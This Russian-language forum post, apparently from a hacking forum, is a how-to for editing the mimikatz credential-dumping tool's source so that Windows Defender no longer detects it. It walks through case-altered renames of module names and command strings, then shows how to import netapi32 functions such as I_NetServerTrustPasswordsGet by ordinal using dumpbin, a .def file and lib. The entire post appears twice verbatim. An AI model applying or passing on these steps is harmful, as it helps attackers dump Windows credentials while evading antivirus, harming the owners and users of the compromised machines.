Привет народ!
Надеюсь, что не ошибся веткой, но лучше места не нашел. По мотивам www.youtube.com/watch?v=9pwMCHlNma4
В видео описан сам подход и он работает. Дефендер же тупо перестает видеть мимикатца и если дамп на тачке не отключен, то работает все на ура. На данный момент, вот какие изменения необходимо произвести в сорсах:
1) Заменить все упоминания mimikatz. Замену делать по всему проекту с !! учетом регистра:
Примерно 100 замен: mimikatz
Примерно 200 замен: MIMIKATZ
2) Т.к. заодно будут изменены ссылки на файлы из проекта - не забываем их переименовать.
3) Отредактировать *.rc файл, убрать все ненужное или заменить тексты на свои
4) Произвести замены:
это KiwiAndRegistryTools на это KIwiANdregiStrYToOls 2 раза
это wdigest.dll на это WdigESt.DlL 2 раза
5) Теперь вручную! Находим строку
{kuhl_m_ts_multirdp, L"multirdp", L"[experimental] patch Terminal Server service to allow multiples users"},
и заменям "multirdp" на "muLtirDp". Получается такая строка
{kuhl_m_ts_multirdp, L"muLtirDp", L"[experimental] patch Terminal Server service to allow multiples users"},
{kuhl_m_sekurlsa_all, L"logonPasswords", L"Lists all available providers credentials"},
и заменяем "logonPasswords" на "logOnPasSwOrdS". Получается такая строка
{kuhl_m_sekurlsa_all, L"logOnPasSwOrdS", L"Lists all available providers credentials"},
{kuhl_m_sekurlsa_credman, L"credman", L"List Credentials Manager"},
и заменяем "credman" на "cRedmAn". Получается такая строка
{kuhl_m_sekurlsa_credman, L"cRedmAn", L"List Credentials Manager"},
и в дополнение на всякий случай замените
это "credman" на "cREdmAn". Поиск и замена именно с кавычками!!! А то он функции похерит!
6) Далее часть посложнее. В видео есть описание процесса. Речь идет о вызовах функций из netapi32.dll. При вызове I_NetServerTrustPasswordsGet по имени название функции палится жестко и дефендер ловит мимикатца. Для обхода мы можем использовать вместо имени вызрв по адресу. Для WINDOWS SERVER 2016 & WINDOWS 10 эти адреса такие:
dumpbin /exports netapi32.dll | grep "I_NetServerReqChallenge\|I_NetServerAuthenticate2\|I_NetServerTrustPasswordsGet"
59 3A I_NetServerAuthenticate2 (forwarded to LOGONCLI.I_NetServerAuthenticate2)
65 40 I_NetServerReqChallenge (forwarded to LOGONCLI.I_NetServerReqChallenge)
68 43 I_NetServerTrustPasswordsGet (forwarded to LOGONCLI.I_NetServerTrustPasswordsGet)
Создаем файл netapi32_ws16.def с содержимым:
I_NetServerReqChallenge @ 65
I_NetServerAuthenticate2 @ 59
I_NetServerTrustPasswordsGet @ 68
Собираем либу:
lib /DEF:netapi32_ws16.def /OUT:netapi32_ws16.dll
И заменяем ею ту, что идет в комплекте с мимкатцом (netapi32.min.lib)
Ребилдим проект и готово! Мимикатц байпассит дефендера.
Надеюсь, что не ошибся веткой, но лучше места не нашел. По мотивам www.youtube.com/watch?v=9pwMCHlNma4
В видео описан сам подход и он работает. Дефендер же тупо перестает видеть мимикатца и если дамп на тачке не отключен, то работает все на ура. На данный момент, вот какие изменения необходимо произвести в сорсах:
1) Заменить все упоминания mimikatz. Замену делать по всему проекту с !! учетом регистра:
Примерно 100 замен: mimikatz
Примерно 200 замен: MIMIKATZ
2) Т.к. заодно будут изменены ссылки на файлы из проекта - не забываем их переименовать.
3) Отредактировать *.rc файл, убрать все ненужное или заменить тексты на свои
4) Произвести замены:
это KiwiAndRegistryTools на это KIwiANdregiStrYToOls 2 раза
это wdigest.dll на это WdigESt.DlL 2 раза
5) Теперь вручную! Находим строку
{kuhl_m_ts_multirdp, L"multirdp", L"[experimental] patch Terminal Server service to allow multiples users"},
и заменям "multirdp" на "muLtirDp". Получается такая строка
{kuhl_m_ts_multirdp, L"muLtirDp", L"[experimental] patch Terminal Server service to allow multiples users"},
{kuhl_m_sekurlsa_all, L"logonPasswords", L"Lists all available providers credentials"},
и заменяем "logonPasswords" на "logOnPasSwOrdS". Получается такая строка
{kuhl_m_sekurlsa_all, L"logOnPasSwOrdS", L"Lists all available providers credentials"},
{kuhl_m_sekurlsa_credman, L"credman", L"List Credentials Manager"},
и заменяем "credman" на "cRedmAn". Получается такая строка
{kuhl_m_sekurlsa_credman, L"cRedmAn", L"List Credentials Manager"},
и в дополнение на всякий случай замените
это "credman" на "cREdmAn". Поиск и замена именно с кавычками!!! А то он функции похерит!
6) Далее часть посложнее. В видео есть описание процесса. Речь идет о вызовах функций из netapi32.dll. При вызове I_NetServerTrustPasswordsGet по имени название функции палится жестко и дефендер ловит мимикатца. Для обхода мы можем использовать вместо имени вызрв по адресу. Для WINDOWS SERVER 2016 & WINDOWS 10 эти адреса такие:
dumpbin /exports netapi32.dll | grep "I_NetServerReqChallenge\|I_NetServerAuthenticate2\|I_NetServerTrustPasswordsGet"
59 3A I_NetServerAuthenticate2 (forwarded to LOGONCLI.I_NetServerAuthenticate2)
65 40 I_NetServerReqChallenge (forwarded to LOGONCLI.I_NetServerReqChallenge)
68 43 I_NetServerTrustPasswordsGet (forwarded to LOGONCLI.I_NetServerTrustPasswordsGet)
Создаем файл netapi32_ws16.def с содержимым:
I_NetServerReqChallenge @ 65
I_NetServerAuthenticate2 @ 59
I_NetServerTrustPasswordsGet @ 68
Собираем либу:
lib /DEF:netapi32_ws16.def /OUT:netapi32_ws16.dll
И заменяем ею ту, что идет в комплекте с мимкатцом (netapi32.min.lib)
Ребилдим проект и готово! Мимикатц байпассит дефендера.